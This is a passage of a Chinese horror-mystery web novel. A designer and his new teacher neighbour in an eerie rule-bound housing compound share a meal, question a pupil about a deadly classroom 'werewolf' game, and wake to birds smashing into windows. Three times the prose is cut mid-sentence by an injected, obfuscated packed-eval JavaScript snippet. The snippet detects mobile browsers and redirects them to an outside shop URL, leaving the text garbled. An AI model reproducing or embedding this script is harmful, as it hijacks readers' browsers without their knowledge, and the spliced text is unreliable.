刹那间,宁琤心脏猛烈地跳动起来。 从最先的“怦怦”动静到整个胸膛都被震响只花了一瞬,而闻淙方才的话音也依然在他脑海当中添乱。 你终于来给我…… “怦怦怦怦怦怦怦!” 开门开门开门开门开门开门了。 “怦——!!!” 强烈的晕眩感毫无征兆地袭来。 宁琤第一时间咬住舌尖,可这并不能为他提供什么帮助。不到一个呼吸的工夫,他不光是头脑发晕,手脚也跟着变得绵软。 徘徊已久的黑暗猛然扑上,顷刻便将宁琤吞没。他最后一点知觉是口腔中的血腥味,再有则是一声嗓音抬高很多,带着满满惊慌失措的“哥”。 闭嘴。 宁琤想这么说,可他已经无法发出声音了。 那股酸味依然徘徊在鼻腔,夹杂着淡淡的腐臭气息。 这些气味自让人不快,可宁琤想要让它消失,又是力不从心。 直到不知多长时间过去,一股饭食的香气涌入鼻间,终于将让人不快的味道冲散。 宁琤眼皮颤动,虽未完全苏醒,却已经分辨出来,这是有人在煮粥。 意识到这点的时候,他的双目蓦地睁开。 入眼已经是熟悉的天花板。原来自己已经回到家中,只是并非倒在门口、无人问津。 身下是柔软的床铺,手指曲起一点,触碰床单,只觉得温热而细腻。 他皱了皱眉头,喉咙里溢出一点动静。还是不太舒服,不过…… 宁琤下了床,去到客厅里。 这儿要比卧室热闹多了。在宁琤意识混沌的时候,闻淙已经摸到了厨房,这会儿炉子已经烧了起来,锅子也在“咕噜噜”地响。 宁琤缓缓走过去。一直到很靠近的时候,闻淙才听到了他的动静,“呀”地转了过来,脸上带着关切,“哥!你怎么了?刚刚忽然就——” 说着话,眉尖压下去。手上拿着厨勺,是很居家、看起来毫无危害的样子,说出的话也是对宁琤的关照:“我担心坏了,赶紧把你抱到床上。” 抱? 宁琤眼皮跳了一下,目光快速在闻淙身上扫了一圈儿。 这小身板儿……唔,好像也不能这么说。仔细一瞧便会发现,闻淙的肩膀好像是比宁琤自己宽一点,人也比他略高了几公分。 口口声声叫他“哥”,其实在偷偷窜个子。 宁琤表情微妙。被他这么看着,闻淙仿佛不好意思地抿了抿嘴,继续道:“咱们小区不是要求了得按时吃一日三餐吗?我白天上班,实在没时间买菜,就连农贸市场到底在哪儿都没搞清楚,思来想去还是只能厚着脸皮来你这儿蹭饭。” 宁琤:“……” 闻淙声音更轻了,脸上甚至浮出一抹微妙的薄红色,眼神也局促地乱飘,又叫:“哥,我知道应该给你请医生的,可是……” 不等说出个所以然来,宁琤已经开口打断:“不用。” 接着,他视线终于转开,去看旁边依然在响的锅子,明知故问:“你在做什么?” 他是半点儿都不想去医院那种地方,可这话就没必要和新来的邻居说了。 被岔开话题,闻淙也松了一口气,带着兴致回答:“是粥!熬了挺多呢,哥,你待会儿可不能只喝一碗。” 宁琤无动于衷,问:“你看冰箱了吗?”光喝粥怎么能吃饱? 闻淙笑了,回答:“没有。我其实不会做饭,熬粥已经是挺大进步了,就这还是好不容易跟人学的。” 宁琤听着,对此没有评价。 他目光又落了下去,看着闻淙那一身鲜红色。 哪怕不是血,这一身也足够磕碜。宁琤揉了揉眉心,又问:“你的衣服是怎么回事?” “我不是美术课老师吗。”闻淙解释,“今天上课的时候有几个学生闹了矛盾,我去拉架,结果一不小心弄翻了水彩,搞了一身,还说回来以后清理一下呢,结果你……咳咳,就没顾上。” “矛盾?”宁琤挑眉。闻淙看上去也对厨艺话题被放过松一口气,继续给他描述:“我也闹不太清楚怎么回事儿,原本好好在讲台上板书呢,就听背后一阵儿闹。回头去看,已经有个小孩儿把另一个摔地上了。 “一个个才几岁大啊?就气势汹汹的。你是没见那场面,摔了人的小孩儿骑在被摔的身上,捏着拳头就要往人身上砸!可吓死我了,不知道什么仇什么怨。 “我一边拉架,一边让其他学生去叫班主任。等班主任来了,终于能腾出手问问发生了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538630|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。不管是纯粹欺负人,还是因为其他事有矛盾,总得有个由头吧?可问来问去,都不肯好好说。 “不光两个当事人,坐在周围一圈儿的其他学生也是,怎么讲都是不知道。 “我原先还琢磨,是不是被欺负的那个孩子不敢得罪人,所以特地找了个他课间上厕所的时候去问,可还是,唉。 “对了哥,”讲到这里,闻淙话锋一转,眼神里带了点期待,“你认不认识什么在隔壁小学上学的孩子?我想着,要是他们在学校不愿意说,到了学校外面会不会愿意透露一点。” 宁琤看着对方衣服都没来得及洗,却还在用手比划“一点点”的样子,有点想笑。 但真笑出来是不可能的。他想了想,倒没拒绝对方的恳求:“我在群里给你问问吧,不一定有结果。” 闻淙笑了:“实在问不到也没什么。好了哥,咱们先吃东西!你放心,我认认真真看过生活指南里做饭那一部分,保证不出问题。” 宁琤“嗯”了声,倒是相信这话。要是真有什么问题,物业肯定已经来敲门了。 在青年忙活着舀粥的时候,他拿了手机,难得地在业主群里发了消息。 “有没有邻居家孩子在隔壁上学?有点事想请教一下。” 等待。 无人理会。 几分钟后,宁琤无奈地把手机屏幕送到闻淙面前,“要不然你还是继续在学校那边下功夫吧,问问班主任呢?” 闻淙挠挠头,“没事儿,再等等。其实也和班主任沟通过了,但他说不用管,班里没人违反《学生守则》就行。你说怪不怪,都打成那样了,竟然还不算违反?” 他念念叨叨地吐槽着班主任实在太教条,最后总结,实在没有消息的话自己就再试试抓学生。 宁琤可有可无地点点头。这个话题便算告一段落了,两人很快转移阵地,到餐桌那边吃东西。 光是粥肯定是不够的,但宁琤也有点懒得操持了,于是从冰箱里拿出了现成的凉菜。 “这个味道还不错,”他给闻淙介绍,“是小区里有那种家庭小作坊做的,只在内部卖。我也是在群里看到,所以试着买了点。” 闻淙眨巴眼睛:“嗯嗯。”嘴巴应声,筷子一点儿不动。 看出对方的犹豫,宁琤劝:“你别看它看起来红,其实不辣。” 闻淙小小声:“但我真的很不能吃辣啊。” 宁琤皱眉:“可你光吃粥肯定吃不饱。” 闻淙:“那我多喝点。吨吨吨。” 宁琤看着他,一时也有点拿不准要不要继续劝了。 在日复一日的业主群讨论中,他模模糊糊地摸索出了一个道理。 写在生活指南上的“一日三餐”可能并不是对明月湾的居民来说真正重要的东西,“不要让自己处于饥饿”状态才是。 他加起班来不是没有过错过饭点、两顿合成一顿的时候,照样半点儿事也没有。 但同样的,有天半夜,他好不容易交了设计稿后随手打开群看,里面正有人在到处请求邻居们,希望能分得一点食物。偏偏时间实在太晚,大伙儿都睡了,喊了半天都没得到回复。 宁琤倒是琢磨起自家冰箱有什么剩的东西,可没等他想出个所以然,屋门已经被敲响了。 “咚咚咚!咚咚咚!” “有人在吗?有人吗???” “给我吃的,给我!!!” 他后知后觉,原来群里那个人,就是住在自己隔壁的邻居。 也就是闻淙之前那位租客。 5. 第二夜(2) 听着门外愈发激烈的动静,宁琤皱着眉头,缓缓放下手机。 他走到家门旁边,没有开门,只是和今天一样,透过猫眼往外看。 果然—— 前一个邻居与闻淙不同,并不会在搬来的第一天就热情洋溢地敲开宁琤的门、以一种两人已经认识半辈子的熟稔管他叫“哥”。 宁琤与对方只算点头至交,偶尔外出时会在家门口打个照面。 这也让他对对方有了最起码的印象:一个沉默寡言,看起来有些唯唯诺诺的中间男人。 记忆里对方鼻梁上总会挂一副眼镜,镜片时常显得斑驳模糊。 对方来宁琤家外砸门的时候,那副眼镜也依然在。只是随着男人剧烈且暴力的动作,眼镜腿很快从对方耳上滑落,“啪嗒”地掉在地上。 男人却仿佛根本没有注意这点。他的全部心思都被【饥饿】攻占了,一只手不断砸门的同时,另一只手用力扣在自己的肚子上,指关节因过于用力显得发白。 与之形成鲜明对比的是对方发黑的眼窝,还有被冷汗打湿、一缕一缕地贴在面颊上的头发。 面颊…… 宁琤心想,前几天见面的时候,对方看起来有这么消瘦吗? 不,那会儿对方还是正常模样。哪里像现在,脸皮近乎已经贴着骨头,面色也显得蜡黄。 嘴唇是干裂的,仿佛除了挨饿之外还面临无水可喝的困境。 大约是因为宁琤始终没有开门的缘故,对方的动作逐渐变得缓慢无力。一声微弱、沙哑的呻吟从外间传了过来,像是被胃酸浸泡过一样痛苦沙哑:“我好饿啊。” 宁琤是相信这话的。 但他依然没有开门。的确,给求助的邻居提供帮助是明月湾住户的应有之义,偏偏对方并没有完成他应该做的那部分指南内容。从头到尾,都不曾向宁琤亮出自己的身份。 一直到男人强撑着下楼、去找三楼住户求助时都是如此。 宁琤依然没有从门口离开,而是静静地站在原处,去听楼梯下方传来的声音。 被【饥饿】侵袭的男人喊出一句话:“你们不帮我,这是违背了小区生活指南!!!” 宁琤眼皮一跳,紧接着,听到了“咔嚓”的开门动静。 …… …… 一点抽噎声打断了宁琤的思绪。 宁琤迷惑地看着喝着粥呢,就莫名其妙开始哭的闻淙。 “呃,小闻老师,”他问,“你怎么了?” 闻淙的抽噎声更大了,“哥,你别这么叫我啊,整得跟我还没下班一样。” 于是宁琤闭嘴。他怀疑闻淙这会儿情绪不稳定,就是因为没吃饱。 记忆里的那个男人也这样,就是症状比闻淙再严重点儿。 可闻淙不愿意品尝凉拌菜,他也不能掰开对方嘴巴硬塞。 宁琤默默吃饭,静静发愁。 这个反应,倒把闻淙弄得更伤心了,“你怎么不理我了?” 宁琤不是很想回答,偏偏对方正坐在他家的餐桌旁边。作为屋子的主人,他只能勉为其难地应:“好吧,闻淙,”等等,对方眼泪怎么啪嗒啪嗒掉得更快了,“呃,闻老弟?” 看起来也不对。 宁琤嘴角抽动一下,终于叫出最后一个选项:“小淙?” 这回对了,对方明显止住了眼泪。 宁琤无语,以一种应付态度问:“你哭什么?” 闻淙吸了吸鼻子,回答:“我就是觉得,这个粥特别好喝。” 虽然话很没逻辑,可表情十分认真。 这副样子落在宁琤眼中,就是对方同样受到【饥饿】影响的可能性又增加了一重。 他愈是烦心,偏偏闻淙一点儿都领悟不到宁琤的心境,还在和他回忆:“其实我本来是不会做饭的,但是有人给我教了。” 宁琤:“哦哦,原来是这样。” 不关心,不想听。 他打定主意,要赶紧结束这顿饭,把闻淙送走。 闻淙继续说:“他也是我的邻居,比我大几岁,从小我就把他叫哥哥。” 宁琤:“嗯嗯,你真的不吃吗?那我先吃了。” 咔嚓咔嚓,香香脆脆。 闻淙叹气:“我爸妈经常不在家,就总是把我托付到他家。一开始是他爸爸妈妈照顾我,后来是他。” 宁琤:“原来是这样。”还没结束吗? 闻淙:“他对我特别好,就和哥你一样。” 宁琤欲言又止。 他思来想去,都没法从这两天的相处中看出自己对闻淙“特别好”的地方。 正琢磨自己是哪里做得不对,以至于让对方产生错觉了,闻淙又说:“我好想见他,哥,你说我还能见到他吗?” 宁琤陷入沉思。 闻淙看他这幅反应,身体忍不住往前倾了一些,灼灼目光落在宁琤身上。 好像要把宁琤烫伤。 “哥,”他终于还是又叫了声,“你是不是——你现在在想什么?” 宁琤说:“我在想,小区里禁止喝酒,你煮粥的时候应该没有往里面倒酒吧?” 闻淙:“……” 闻淙:“没有。” 他重新坐直身体,把粥碗捧起来,吨吨吨地大喝。 从宁琤的角度看,青年的脸完全被碗罩住。 他莫名从对方的动作中看出几分赌气意味,于是摇了摇头,腹诽:“还说是小学老师呢,这心理年龄恐怕和小学生一样。” 后头餐桌上再没有什么话音。直到晚饭结束,闻淙再度主动提出洗碗,宁琤方点点头:“行,交给你了。” 他靠在厨房门边,一边监督闻淙干活儿,一边琢磨怎么把对方扫地出门。 偏偏这个时候,他的手机接连震动数下。 宁琤拿起来看,竟是群里终于有人回复他,道自家有小学生,欢迎宁琤前去拜访。 宁琤注视着屏幕,心头挣扎。直到水流的声音结束了,他终于认命地叹了一口气,和闻淙说:“你动作快点,洗完之后咱们去扔垃圾,然后去见一个邻居。” 闻淙先是一愣,随即反应过来,眉眼中带出喜色:“哥!你是说?” 宁琤敷衍地点头:“对,有人说可以——你干什么?!” 他警惕地看着又凑到自己身前的青年,目光停留在对方还没擦干净、仍在滴水的双手上。 闻淙被他盯得往后缩了缩,像是这次才意识到自己的动作有些突兀了,连忙道了一句“抱歉抱歉”。 “我就是这性格,哈哈,是不是有点烦?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538631|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背对宁琤,抽了厨房纸擦手。 宁琤撇撇嘴,没回答他,只道:“别浪费时间了,赶紧走,万一又跟昨天晚上一样呢。” 闻淙立刻回答:“不会,今天咱们快点,肯定能在起雾之前回来。” 这话倒是说得不错。二十分钟后,两人顺利地重新进到单元楼。 闻淙还留意到了额外的事,“哥,今天那个驿站好像不见了?” 宁琤“嗯”了声 ,一边问群里那位好心家长对方的具体住址,一边随口回答:“我今天给物管会说了,他们应该已经在和那边沟通。” 闻淙便顺着他的话问:“咱们小区的物管会都是些什么人在干啊?他们和物业是一起的吗?” 宁琤笑了,抬头看他:“怎么可能,物管会里基本都是咱们小区的业主,有点志愿者性质吧,再加上街道、社区的负责人。物业不一样,那是专门公司的,来这儿上班。” 闻淙颇为意外:“专门公司?” 宁琤便介绍:“对。应该和小区开发商是一起的,不过具体我也不太清楚。和他们打交道太费劲了,还是物管会好说话。” 闻淙挠挠头,“那哥,你知不知道办门禁卡具体是找哪边?我想着房东可能比较忙,要是他不方便过来的话 ,不如我自己——” 宁琤乐了:“恐怕不行吧?我办卡也是房东带着,得交好多材料。” 闻淙失望地叹了口气。 两人一边说,一边上楼。那位好心邻居就住在第二层,他们很快找到地方,先敲两下门,又道:“你好,我们是刚刚在群里说的,要来您家里拜访。” 很快有脚步声传来,屋门被从里面打开,一个面容秀丽的女人出现在闻淙宁琤面前。 昏暗的廊灯光纤下,女人的目光在宁、闻二人身上扫了一圈儿,朝着宁琤笑道:“是群里的【漆匠】先生吧?” 宁琤点头,又侧头介绍闻淙,“这个就是我前面说的那个弟弟。他在隔壁光明小学当老师,这两天才入职,想了解一下学生的情况。” 女人了然地点点头,同样先自我介绍:“好。我姓朱,你们叫我‘朱姐’就可以了”又问,“那这位老师,你是想听几年级孩子的事?” 宁琤一怔,闻淙则先他一步问出来,“朱姐,你家的孩子多大?” 女人只回答:“我们家小孩比较多。啊,快请进。” 说到这儿,她终于侧过身子,让两位客人进到家中。 把宁、闻二人引到了沙发旁边后,朱姐还给两个人各倒了一杯茶。 茶水是清亮的颜色,两人接过来,礼貌地倒了谢。宁琤感受着掌心的热度,把杯子捧在手中,低头用嘴唇轻轻碰上杯中液体。 这么做的时候,他的余光落在旁边的闻淙身上。却见闻淙只是拿着杯子,并没有去喝一口的意思,而是直接进入主题:“朱姐,我是教五年级的,你家有没有五年级的小孩?” 女人轻轻点头,就朝屋内叫道:“宝宝,听见了吗?” 伴着她的话,卧室门被推开了。一个一米五六身高、秀气纤细的女孩儿站在里面,身后是比门廊处更昏暗的灯光,大片影子将她笼罩。 “妈,我来了。”她朝着母亲应了一声,顺手关上屋门。 顺着女孩儿的动作,黑影流动着隐没在门后。 6. 第二夜(3) 闻淙这时已经认出来:“你是一班的,”回想一下,“朱陆仪,对不对?” 女孩儿大约没想到这个刚刚入职的老师会记得自己。她有点羞涩地笑了,“对,闻老师。” 话音间,也走到沙发前,在朱姐身边坐下。 朱姐摸摸女儿的头发,以一种已经解释过很多次的熟稔道:“不瞒老师说,我爱人已经不在了,只留下我和孩子们。现在就希望孩子们能好好的,考上市一中,以后有一个好工作,认识合适的同龄人。” 宁琤听着,却没有留意她的话音。也许是角度凑巧的缘故,女孩儿那看着不起眼、细究起来却颇繁复的发型正清晰地落在了他眼中。 从额角到后脑勺,四根辫子沿着一条线排列下来,加上旁边那侧就是八根。这些辫子被梳理得极为整齐,每根都是差不多的粗度。又被人细心地把每两股扎成一束。八合四,四合二,最后才是垂在脑后的马尾。 “……啊,说的有些太远了。”朱姐也意识到这点,“老师,你讲,有什么想要问的?” 宁琤眼神动了动。他旁边,闻淙道:“真是太巧了,我想问的事儿也和一班有关。朱同学,今天上课那会儿你们班不是有两个学生打起来了吗?老师想了解一下,他们到底闹了什么矛盾。” 朱陆仪抿了抿嘴,没有答话。 闻淙见状,心道她恐怕是真了解些内情,只是不愿意与自己说起。 难道她也在害怕? 闻淙揣摩着小学生的心思,嗓音柔和许多,轻声道:“我是昨天才到咱们学校当老师的。虽然美术课不是主课,也不像语文、数学那样值得被同学们重视,但我对同学们的心和其他老师没有区别。 “朱同学,你可以说我多管闲事,但我还是想知道究竟发生了什么,看能不能帮忙调解调解。” “不是的。”朱陆仪终于开口了。出人意料的是,她的神色中没有任何胆怯、慌乱。虽然性格内敛了些,谈吐还是显得落落大方,“老师,你误会了,他们没有矛盾。 “只是在玩。” 玩? 就连宁琤也觉得这个答案有些荒谬,更别说是闻淙。 他追问:“朱同学,你确定吗?今天薛沐阳可是直接把王宇晨按在地上打了。” 朱陆仪点点头,嗓音还是细细的,又透出几分轻快:“是呀!这是‘游戏’的一部分嘛。” 等等,“游戏”? “那边规矩是挺多的,好像连做游戏都不行。” 曾经在邻居口中听到的话出现在宁琤脑海中,对面沙发上,朱陆仪也像是意识到了什么,缩了缩肩膀。 这下子,才真正有些担心在老师面前犯了事儿的小学生模样。 好在她运气不错,面对的是一个初来乍到、显然没有摸清楚校规校纪的新老师。闻淙还在皱眉:“游戏?你们的游戏是这么做吗,同学之间相互欺负?” “不是,不是。”朱陆仪赶忙澄清,“薛沐阳没有欺负王宇晨!他是在保护自己。” 得,这下子,就连朱姐也显出几分茫然了。 她呼噜一把女儿的脑袋,轻轻斥道:“陆仪,你说什么呢。要不然换你姐姐出来?” 朱陆仪登时着急了,嗓音都抬高不少,叫道:“妈!你别找陆玲。”而后转向闻淙,语速加快,竹筒倒豆子似的说:“因为薛沐阳‘平民’的身份暴露了,王宇晨想抓他,结果没有一次成功,也被看出来‘狼’的身份。 “今天周二,距离周五票狼还有好几天呢。薛沐阳想坚持到那个时候,就得保证自己不在这几天被王宇晨淘汰掉。可总在下课的时候躲着‘狼’也不是个办法,他可能是想找个办法,让王宇晨彻底放弃抓他吧。” 竟然是这样。 “这就是你们在玩的游戏?”闻淙问,“班里学生分成两拨,当‘狼’的负责抓‘人’,‘人’就负责藏好身份?” “对。啊,也不对,”朱陆先点头,再摇头,“不光是两拨。一共三十七个签,里面只有六个‘狼’,剩下的‘守卫’也是六个,还有‘女巫’‘预言家’‘神父’‘猎人’……嗯,加上一对‘比翼鸟’。最后才是‘平民’,他们人多,可是没有技能,被‘狼’发现就完蛋了。” 朱姐的手第三次呼噜到女儿头上,“‘比翼鸟’是怎么回事?你们班还有人早恋?” “不是,不是,”朱陆仪很努力地给母亲解释,“这些都是游戏里的设定啦!如果‘比翼鸟’找不到对方,两个人就都没有任何能力。但如果找到了,他们就能在被‘狼’淘汰的时候保护对方。” 朱姐眼睛眯起一点,也不知道是相信这话没有,“那你是什么?” “女巫。”朱陆回答。她显然是很喜欢自己的身份,又和母亲详细地讲:“我有两个‘技能’,一个是毒药,一个是救命药……” 毒药杀人,救命药活人。 宁琤默默地听着。等到朱陆仪话音落下,他也问道:“这是你们学校流行的玩法吗?” 朱陆仪摇了摇头:“不是,就是开学那会儿大家觉得无聊,正好有人偷偷拿了一套玩游戏用的身份签到学校,我们就都加入啦。” 宁琤点点头,示意自己没什么疑问了。 屋内安静下来,再无人开口。 过了会儿,朱姐打破沉默,朝着闻淙询问:“老师,你还有什么问题吗?” 明明他才是提出找寻邻居、询问班上情况的人,可他已经很久没有开口了。 到了此刻,闻淙终于拿沙哑的嗓音问朱陆仪:“你刚刚说三十七个签。可你们班上,不是三十六个学生吗?” “是呀。”朱陆仪说,“我们不是上周开学吗?闻老师,上礼拜已经有一个‘平民’被‘狼’淘汰出局了,可惜我们前几天投票的投错人了,薛沐阳的身份也是那时候…… “我们以为他是‘狼’,结果主持人说他不是。也就是说,真正的‘狼’还是四个,一个没少。” 女孩儿话音苦恼,说的内容却听得两个来客无言相对。 感受到了身旁青年心头的巨大震动,宁琤暗暗摇头,先一步开了口:“原来是这样。”又朝向朱姐,“我们大概知道情况了,孩子们没有闹矛盾就好。今晚实在是打扰了,时间也不早,那我们先告辞。” 说过话,想起两人手上的茶水都没有动过,这的确不太礼貌,于是宁琤又端起茶杯补充:“刚才尝了一下,水还是有点烫。朱姐,我们就先拿回去,等晾凉了再喝。” 朱姐笑了一下:“好。只要不要觉得我们家招待不周就好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538632|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么会?”闻淙也回过神了,立刻接着对方的话音开口,“朱姐,你和朱同学真是帮了我大忙!” 友好的邻居互助到此结束,闻淙宁琤一路把茶水带回了五楼。 这个点,宁琤没有再邀请人到自己家坐坐的打算。但他也没直接道别,而是叫住闻淙:“前面说的有学生没去上课的事儿,你要不要给学校那边反应一下?” 闻淙前脚才从朱陆仪处知道“游戏”,后脚就直接把学生之间的小秘密捅出去自然是不合适的。但要说班里直接有个学生不上课了,便不算出卖信任他的朱同学。 再有,虽然没有亲眼看过光明小学的《学生守则》,可宁琤猜,上面应该没有“同学们可以随意旷课”这一项的。 这话也让闻淙回神。“学校?”青年仿佛惊醒,“对了,学校……” 他明显是深呼吸了一下,这才看向宁琤,神色竟很认真,道:“谢谢哥,我会去反应的!” 宁琤点了下头,准备回家。 可这时候,闻淙又犹豫着开口,问他:“哥,这杯水?” 宁琤一边拿钥匙开门,一边瞥他,“随便你怎么处理。不过扔垃圾时间是晚上十点前,你现在出去也来不及了。”更不用说,眼下外面还起了雾。 闻淙思索,沉吟,恍然大悟。 “不能让纸杯变成‘垃圾’!我懂了,谢谢哥!” 宁琤看他这副兴高采烈、完全抛弃了此前烦恼的样子,忍不住摇头,“想什么呢,我可没这么说。” 这时候,他家屋门也已经打开了。进门之前,宁琤又记起什么:“既然谢我,就拿出点实际行动。” 闻淙一愣:“什么行动?” 宁琤把自己手上的杯子也递给他,“帮我处理一下。” 闻淙:“……” 这不是这个夜晚宁琤给闻淙的最后一样东西。 到家后,宁琤径自走向厨房。 他把冰箱里剩下的凉拌菜取出来,重新回到门口。这时闻淙还是一只手一个杯子,脚则抬了起来,试图帮宁琤踢上屋门。 宁琤再度被他逗笑了,靠在门边看闻淙:“我是不是也应该谢谢你?” 闻淙“啊”了声,意外道:“哥,你怎么又出来了?” 宁琤没说话。他伸出手,从闻淙口袋里摸出钥匙。 接着,善良的室内设计师替两只手都被占用的邻居开了门,把凉拌菜放在了闻淙家进门处的柜子上。 这么做的时候,他仅仅伸进去一截手腕。 “晚上关好门窗,好好睡觉。明天你还得上班呢,大晚上的就别瞎折腾别的了——晚安。” 这句话后,不等闻淙拒绝,宁琤已经缩回自己家,把青年喊“哥”的声音关在外面。 虽然在这么短的相处时间里,他已经从闻淙身上看出很多不符合常理的地方,但这世道,谁身上没有一点秘密呢? 就像是刚才楼下那对母女。朱陆仪房间里那片缩回去的黑暗究竟是什么,宁琤是无意探究的。 他有前面的动作,只是因为不希望闻淙因为只喝了粥,大半夜的和他那边上一个住户一样鬼哭狼嚎。 想到这幅场面,宁琤便抽一口气,十分牙疼。 别了吧,他还想好好睡觉呢。 7. 第三天 半小时后,洗漱过、换上睡衣的宁琤躺在床上,心满意足地拉上被子。 白天已经把设计方案交出去了,今夜难得不用加班,新邻居那边也安排妥当。 应该能一觉睡到天亮。 抱着这样的美好愿景,宁琤闭上双眼。没一会儿,气息已经变得绵长。 有月光静静从窗帘下方照在卧室边缘,带给屋子一点微不可觉的光亮。 床上的人对此没有丝毫察觉。睡着睡着,他翻了个身,将自己半边面孔都埋在被子里面。 “咚!” 一声闷响砸了过来。 被埋进被子的部位增加了。除了面颊,还有一双耳朵。 可这并不能真正阻拦嘈杂的响动。尤其接下来的几分钟里,“咚咚”的声响就像是暴雨之日的雨水,喧嚣而连绵不绝。 终于,床上的人失去所有耐性。宁琤黑着脸坐了起来,嘴巴里喃喃着“敬酒不吃吃罚酒”,带着满腔烦躁下了床,踩上拖鞋。 “咚咚咚咚咚咚咚!” 吵闹的来源丝毫没有意识到自己已经将人的起床气完全激发,非但没有收敛,反倒变本加厉。 终于,宁琤来到窗边,“唰”一下将窗帘拉开。 今晚他的邻居的确很安静,前面的响声都是从窗外来的。 而要说得更具体些,便是一只又一只的鸟雀,接二连三地朝他家窗户撞了上来。 老小区在“隔音差”之外的又一个建筑特点在这会儿体现出来。在这么多次的撞击之下,宁琤家的窗户依然没有半点损伤,最多是显得脏了点。 混合着鸟毛与碎肉、隐约还带着点白浆的鲜血近乎染满整个玻璃,鸟尸更是在窗台叠叠堆起,已经有了整个窗户三分之一的高度。 宁琤看着这样的场面,默然半晌,自言自语:“嗯……我应该还没睡醒。” 既然这样,还是回去再躺一会儿吧。 撩起的窗帘被重新放了回去,再有“咚”响和“啾啾”不断的鸟鸣出现时,床上的人都没再在意。 不知过了多久,窗外终于变得安静。蒙头睡觉的人也终于恢复了寻常睡姿,一觉便是天明。 将近七点,“嗡嗡”振动的手机唤醒宁琤。 昨晚睡得不算好,这会儿他脑子兀自发木,本能想要关掉闹铃再躺个十分钟。 可是—— 宁琤又记起来:“我闹铃定了几点来着?6:58!” 意识到这点时,沉重的倦意忽地消散了。宁琤用最快的时间起身、下床去了盥洗室,终于赶在七点到来时将水龙头拧开。 听着水流声响,他长长地吐出一口气。 虽然这会儿不开水,代价也不过是白天不能用,晚上七点把步骤重复一边就没问题了,可到底还是麻烦。 话又说回来,自己怎么偏偏今天起晚了? 眼神动了动,宁琤意识到什么,从盥洗室的窗户探头往外看。 昔日总是热热闹闹的小广场,这会儿竟是十分安静。那些每天早晨都在跳广场舞的阿姨消失了,取而代之的是一个又一个纸箱。 那些纸箱大大小小、错落散乱地被堆在那里,几只鸟拍打着翅膀飞了过来,停在箱子上。 宁琤看着这一幕,眼皮跳了一下,又记起昨晚那个“梦”。 方才只顾着赶上开水的时间,倒是没留意卧室窗外究竟成了什么样子。 想到自己恐怕要花一番精力收拾,他就忍不住想叹气,“这还不如前一个邻居呢,起码……唉,不想了。” 有人从小广场外经过,看起来是想要走到广场上、抄近道去小区门那边,但还没走到那堆快递箱旁边,就有穿着红色马甲的工作人员走上前去。 隔着五层楼的高度,宁琤自然听不到他们这会儿说了什么。不过等他摸出手机,答案果然已经出现在业主群里。 大约早晨六点多那会儿,一个叫做“财袁广进”的账号在群里发了一条通知,说在和快递驿站协商、请对方搬离小区的时候,双方闹出些不愉快。目前还在继续沟通中,为了避免业主们受到影响,请大家出行的时候绕开小广场。 半个多小时后,有人回复:“啊?今天不能过去了吗,可我妈还是一大早就下楼跳舞了。” 很快又有人回他:“我家的位置正好能看到小广场,今天没人在这边跳,是不是阿姨们换地方了?” 前者:“不知道,可能吧。” 后者:“今天早晨没有被阿姨们的音乐声叫醒来,还怪不习惯的,哈哈。” 业主群并不强制所有入群人员标注自己的房号,不过在群里对话的两个人还是修改了备注。他们一个在远离小区中心位置的一号楼,另一个就在宁琤这个单元隔壁的八号楼。 抬头朝八号楼的位置看了一眼,本意只是想确定一下发言人住在哪间,但在察觉他们楼上也有不少面窗户被群鸟弄得脏兮兮时,宁琤心里平衡了不少。 这会儿也早就过了生活指南里要求的一分钟放水时间,他转回身体,预备开始洗漱。 也是这个时候,宁琤终于看到了已经灌满整个洗手池的鲜红色。 宁琤:“……” 宁琤脑袋上缓缓出现一个问号。 怎么回事? 今天自己是和清洁打扫这种事儿杠上了吗? 虽然从物业购买的清洁套装是很好用,可此时此刻,他还是由衷地升起一股心力憔悴感。 原本以为这已经是倒霉的巅峰,偏偏麻烦的事总是接二连三出现。 在宁琤心情复杂地和组长请了半天假,辛辛苦苦地打扫完屋子后,他已经没有力气做饭了。 而就像闻淙蹭饭时说的,明月湾附近并没有饭馆。 在“闻淙找我蹭了那么多顿,我让他请我吃一顿学校食堂不过分吧”和“算了,还是叫外卖”之间,宁琤挣扎良久,还是选了后者。 如果不是操劳过度、不愿意再添上一重挨饿,他是很不愿意这么做的。 明月湾并不禁止外卖入内,可前段时间电视新闻播放了不少有关部门去外卖店铺突击检查,结果发现那些店从厨房环境到所用食材都十分让人担忧的报道。 吃出头发都是小事,重点是万一对方用了【变质过期的食材】,直接把人吃进医院要怎么办。 可眼下只能赌一把了。 等外卖的时间,他也没闲着。组长已经把 